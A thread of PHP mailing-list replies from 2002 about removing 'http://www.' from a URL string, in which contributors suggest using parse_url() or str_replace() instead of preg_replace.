Subject: Re: [PHP] preg_replace question


--- electroteque <[EMAIL PROTECTED]> wrote:
> how could i remove http://www. ot of a url string using
preg_replace?

No need to reinvent the wheel for this. Just use parse_url() instead:

http://www.php.net/manual/en/function.parse-url.php

Chris

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RE: [PHP] preg_replace question

[Dan Rossi]

thats the thing the urls should be able to parse http:// or www or both and
i have to unfortunatly clean up a forced port and directory in the url
aswell for gethostname to work

-Original Message-
From: 1LT John W. Holmes [mailto:[EMAIL PROTECTED]]
Sent: Thursday, November 21, 2002 7:48 AM
To: [EMAIL PROTECTED]; electroteque; [EMAIL PROTECTED]
Subject: Re: [PHP] preg_replace question


> --- electroteque <[EMAIL PROTECTED]> wrote:
> > how could i remove http://www. ot of a url string using
> preg_replace?
>
> No need to reinvent the wheel for this. Just use parse_url() instead:
>
> http://www.php.net/manual/en/function.parse-url.php
>

Or just str_replace(). No need for regular expressions.

http://www.php.net/manual/en/function.str-replace.php

---John Holmes...


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RE: [PHP] preg_replace question

[Dan Rossi]

looks like it returns www in the host array a bit silly when i need just the
bits afterwards to do a gethostbyname

-Original Message-
From: Chris Shiflett [mailto:[EMAIL PROTECTED]]
Sent: Thursday, November 21, 2002 7:41 AM
To: electroteque; [EMAIL PROTECTED]
Subject: Re: [PHP] preg_replace question


--- electroteque <[EMAIL PROTECTED]> wrote:
> how could i remove http://www. ot of a url string using
preg_replace?

No need to reinvent the wheel for this. Just use parse_url() instead:

http://www.php.net/manual/en/function.parse-url.php

Chris


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Re: [PHP] preg_replace question

[1LT John W. Holmes]

> --- electroteque <[EMAIL PROTECTED]> wrote:
> > how could i remove http://www. ot of a url string using
> preg_replace?
> 
> No need to reinvent the wheel for this. Just use parse_url() instead:
> 
> http://www.php.net/manual/en/function.parse-url.php
> 

Or just str_replace(). No need for regular expressions.

http://www.php.net/manual/en/function.str-replace.php

---John Holmes...

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Re: [PHP] preg_replace question

[Chris Shiflett]

--- electroteque <[EMAIL PROTECTED]> wrote:
> how could i remove http://www. ot of a url string using
preg_replace?

No need to reinvent the wheel for this. Just use parse_url() instead:

http://www.php.net/manual/en/function.parse-url.php

Chris

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